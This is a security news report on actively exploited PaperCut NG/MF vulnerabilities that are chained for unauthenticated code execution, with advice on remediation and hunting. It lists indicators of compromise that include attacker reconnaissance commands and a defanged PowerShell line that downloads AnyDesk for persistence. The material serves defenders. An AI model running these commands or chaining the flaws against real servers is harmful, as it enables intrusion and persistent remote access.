Print management solutions **PaperCut NG** and **PaperCut MF** are currently targets of active exploitation, with threat actors leveraging newly patched security flaws to execute arbitrary code on vulnerable instances. The Australian company has released an urgent second emergency fix, emphasizing additional hardening beyond the initial patch. ## The Vulnerabilities Explained Researchers at **Huntress**, specifically John Hammond and Andrew Brandt, revealed that the vulnerabilities grant an unauthenticated attacker remote control over **PaperCut**'s trusted configuration, enabling arbitrary Java code execution within the application's process. The core of the exploit lies in an unauthenticated request that can modify server configurations, ultimately leading to code execution. **Huntress** detailed the mechanism: "In unpatched versions of **PaperCut NG** and **PaperCut MF**, a specifically crafted request can refer to one page that is rendered for the response, and another page that owns the component or action being executed." "**PaperCut**'s authorization check could trust the rendered page and miss the permissions required by the component behind it. We found that an unauthenticated request could be utilized in this way to make changes to the server configuration. This enables access to sensitive endpoints that can trigger unsafe actions, and ultimately lets an ill-intended actor execute any arbitrary attacked-controlled code." **PaperCut** has publicly disclosed two critical vulnerabilities: * **CVE-2026-82078** (CVSS score: 9.4): An unsafe dynamic class loading flaw in database connection utilities. The application instantiates database driver classes without validating against an allowlist. * **CVE-2026-81578** (CVSS score: 8.8): An improper access control vulnerability in the web management interface, allowing unauthenticated remote requests to trigger administrative functions before access validation checks complete. ## Chaining for Remote Code Execution According to preemptive exposure management firm **watchTowr**, attackers are chaining these two vulnerabilities together. **CVE-2026-81578** facilitates authentication bypass, which is then used to modify a configuration file to exploit **CVE-2026-82078** and achieve Remote Code Execution. Jake Knott, head of threat intelligence at **watchTowr**, noted that their team also discovered multiple patch bypasses and an additional authentication bypass. While one patch bypass was remediated in the second emergency update, new bypasses affecting the latest patched version have been identified. **Huntress** similarly reported a bypass to the initial emergency patches but observed significant security improvements in the second set of fixes, addressing parts of the known attack chain. ## Indicators of Compromise (IoCs) and Observed Activity While **PaperCut** has not yet disclosed specifics of the malicious activity, it has shared critical IoCs. Organizations should look for the following in their `server.log` files: * `DB URL: jdbc:derby:memory:pwn;create=true` * `Database error looking up cardID: VALUES CAST(X'cafebabe` * `Database error looking up cardID: VALUES CAST('` * `DB URL: jdbc:no:x DB Driver: <5-char random name>` Additionally, the presence of these files written to disk could indicate compromise: * `<install>\server\lib\<5-char-name>.class` * `<install>\server\data\content\<5-char-name>.cmd` * `<install>\server\data\content\<5-char-name>.out` **PaperCut** warns that attackers may erase these files, so their absence does not confirm a lack of breach. Other observed malicious behaviors include: * `pc-app.exe` (or `pc-app`) launching child shell processes (`cmd.exe`) to run `whoami & ver`. * Execution of `SimpleService.exe` (associated with **SimpleHelp**) via a Windows service, typically found in `C:\ProgramData\JWrapper-Remote Access\JWAppsSharedConfig\restricted\`. * Installation of **AnyDesk** for persistent remote access via PowerShell: `powershell Invoke-WebRequest -Uri hxxps://download[.]anydesk[.]com/AnyDesk.exe -OutFile C:\ProgramData\AnyDesk.exe`. John Hammond, senior principal security researcher at **Huntress**, indicated that the observed activity aligns with early-stage reconnaissance or validation, aiming to identify the victim’s user account and operating system. ## Post-Exploitation Tactics **Huntress** observed limited exploitation on two customer environments, where attackers executed Base64-encoded commands to fingerprint the system using `whoami & ver`. A Java `.class` file, operating system-agnostic, was also deployed to gather machine details and directory listings, writing data to `Udydn.out` before deleting it, along with `server.log` and `derby.log`. In a separate incident on August 27, 2026, a modified `.class` file was used to capture running processes in addition to system info: `whoami & ver & tasklist`. ## Urgent Recommendations Organizations utilizing **PaperCut NG** and **MF** are strongly advised to: 1. **Immediately remove public exposure** of their **PaperCut Application Server**. 2. **Apply the latest emergency patch** as soon as possible. 3. **Restrict web access** to the **PaperCut Application Server** to trusted IP addresses or place it behind a VPN or controlled administrative path. 4. **Actively hunt for signs of compromise**, particularly the mentioned IoCs in log files. Jake Knott from **watchTowr** emphasized that **PaperCut** is a prime target due to its internet-facing nature and potential as a "sensitive information treasure trove." **watchTowr** further notes that recent exploitation activity has escalated from exploratory probes to real-world, hands-on-keyboard interaction, displaying "above average" sophistication aimed at internal network pivoting and maintaining persistence. For any systems exposed to the internet in recent days, **watchTowr** advises treating them as compromised and initiating incident response processes to thoroughly eradicate existing threats.